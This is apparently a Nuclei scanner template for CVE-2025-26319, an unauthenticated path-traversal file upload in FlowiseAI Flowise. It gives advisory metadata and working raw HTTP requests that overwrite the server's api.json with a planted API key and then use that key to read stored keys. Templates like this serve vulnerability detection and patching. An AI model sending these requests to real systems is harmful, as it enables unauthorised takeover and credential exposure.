id: CVE-2025-26319 info: name: FlowiseAI Flowise <= 2.2.6 - Arbitrary File Upload author: iamnoooob,rootxharsh,pdresearch severity: high description: | FlowiseAI Flowise version 2.2.6 and below contains an arbitrary file upload vulnerability in the /api/v1/attachments endpoint. This vulnerability allows an unauthenticated attacker to upload files outside the intended directory through path traversal, potentially leading to API key exposure and remote code execution. The vulnerability can be exploited by uploading a malicious file to overwrite the .flowise/api.json configuration file. impact: | Unauthenticated attackers can exploit path traversal in file uploads to overwrite the api.json configuration file, potentially exposing API keys and achieving remote code execution. remediation: | Upgrade to FlowiseAI Flowise version 2.2.7 or later that properly validates file upload paths. reference: - https://github.com/advisories/GHSA-69jq-qr7w-j7qh - https://github.com/FlowiseAI/Flowise - https://nvd.nist.gov/vuln/detail/CVE-2025-26319 classification: epss-score: 0.8771 epss-percentile: 0.99489 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2025-26319 cwe-id: CWE-434 metadata: verified: true max-request: 3 vendor: FlowiseAI product: Flowise shodan-query: title:"Flowise" fofa-query: title="Flowise" tags: cve,cve2025,flowise,fileupload,intrusive,vkev,vuln,ai flow: http(1) && http(2) http: - raw: - | POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2froot%2f/.flowise HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydTh0yj8zypRgPT1w ------WebKitFormBoundarydTh0yj8zypRgPT1w Content-Disposition: form-data; name="files";filename="api.json" Content-type: text/plain [{ "keyName":"=", "apiKey":"24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ", "apiSecret":"8648f55db62716a6577b565efb66145b9ad8c50884c57ae8d4f03c4cd8b3ee27b1f77804d320f08bac8aa4b0dbf58a39dacbb767eb05efe1e57d5c66e5d48473.af4b3f229bd11ac5", "createdAt":"111", "id":"1111" }] ------WebKitFormBoundarydTh0yj8zypRgPT1w-- matchers: - type: word part: body words: - 'name":' - 'mimeType":"text/plain' condition: and internal: true - raw: - | GET /api/v1/apikey HTTP/1.1 Host: {{Hostname}} Authorization: Bearer 24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ - | DELETE /api/v1/apikey/1111 HTTP/1.1 Host: {{Hostname}} Authorization: Bearer 24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ matchers-condition: and matchers: - type: word part: body words: - 'apiKey":"' - 'apiSecret":' - 'chatFlows' condition: and - type: status status: - 200 # digest: 4a0a00473045022074b733ba7ad40cb1fd74f5b46c8555cc9f736ec41d27c09988ad739038e5bf81022100bdfda30dfce5700840ebf2168621e3d751cfda9c8f01018b556ddcae51a3077f:922c64590222798bb761d5b6d8e72950